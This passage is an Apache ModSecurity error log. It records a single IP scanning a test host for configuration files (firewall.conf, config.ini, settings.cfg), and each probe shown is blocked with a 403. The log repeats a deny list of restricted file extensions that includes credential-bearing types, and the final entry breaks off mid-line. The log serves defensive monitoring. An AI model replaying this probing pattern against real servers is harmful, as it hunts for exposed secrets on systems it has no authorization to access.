[Sun Mar 01 20:26:12.716286 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firewall.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue9gAAAAM&quot;]
[Sun Mar 01 20:26:12.716827 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firewall.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue9gAAAAM&quot;]
[Sun Mar 01 20:26:12.717020 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firewall.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue9gAAAAM&quot;]
[Sun Mar 01 20:26:12.739036 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firmware/config.ini&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue9wAAAAM&quot;]
[Sun Mar 01 20:26:12.739533 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firmware/config.ini&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue9wAAAAM&quot;]
[Sun Mar 01 20:26:12.739697 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/firmware/config.ini&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue9wAAAAM&quot;]
[Sun Mar 01 20:26:12.807379 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flags/settings.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue-gAAAAM&quot;]
[Sun Mar 01 20:26:12.807889 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flags/settings.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue-gAAAAM&quot;]
[Sun Mar 01 20:26:12.808040 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flags/settings.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue-gAAAAM&quot;]
[Sun Mar 01 20:26:12.830059 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flight-controller/config.ini&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue-wAAAAM&quot;]
[Sun Mar 01 20:26:12.830585 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flight-controller/config.ini&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue-wAAAAM&quot;]
[Sun Mar 01 20:26:12.830745 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flight-controller/config.ini&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue-wAAAAM&quot;]
[Sun Mar 01 20:26:12.852587 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fluent-bit/config.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue_AAAAAM&quot;]
[Sun Mar 01 20:26:12.853084 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fluent-bit/config.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue_AAAAAM&quot;]
[Sun Mar 01 20:26:12.853237 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fluent-bit/config.conf&quot;] [unique_id &quot;aaSS1C6-W2gySGukkzue_AAAAAM&quot;]
[Sun Mar 01 20:26:13.058307 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fund_holding_config.ini&quot;] [unique_id &quot;aaSS1S6-W2gySGukkzufBQAAAAM&quot;]
[Sun Mar 01 20:26:13.058812 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fund_holding_config.ini&quot;] [unique_id &quot;aaSS1S6-W2gySGukkzufBQAAAAM&quot;]
[Sun Mar 01 20:26:13.058970 2026] [:error] [pid 2400024] [client 185.177.72.30:9926] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fund_holding_config.ini&quot;] [unique_id &quot;aaSS1S6-W2gySGukkzufBQAAAAM&quot;]
[Sun Mar 01 20:26:13.220833 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB7wAAAAU&quot;]
[Sun Mar 01 20:26:13.221349 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB7wAAAAU&quot;]
[Sun Mar 01 20:26:13.221502 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/config.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB7wAAAAU&quot;]
[Sun Mar 01 20:26:13.243406 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/server.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB8AAAAAU&quot;]
[Sun Mar 01 20:26:13.243872 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/server.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB8AAAAAU&quot;]
[Sun Mar 01 20:26:13.244022 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/server.ini&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB8AAAAAU&quot;]
[Sun Mar 01 20:26:13.265962 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/settings.cfg&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB8QAAAAU&quot;]
[Sun Mar 01 20:26:13.266450 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/settings.cfg&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB8QAAAAU&quot;]
[Sun Mar 01 20:26:13.266600 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/game/settings.cfg&quot;] [unique_id &quot;aaSS1f6okG7BJFjW-txB8QAAAAU&quot;]
[Sun Mar 01 20:26:13.334198 2026] [:error] [pid 2400038] [client 185.177.72.30:9930] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 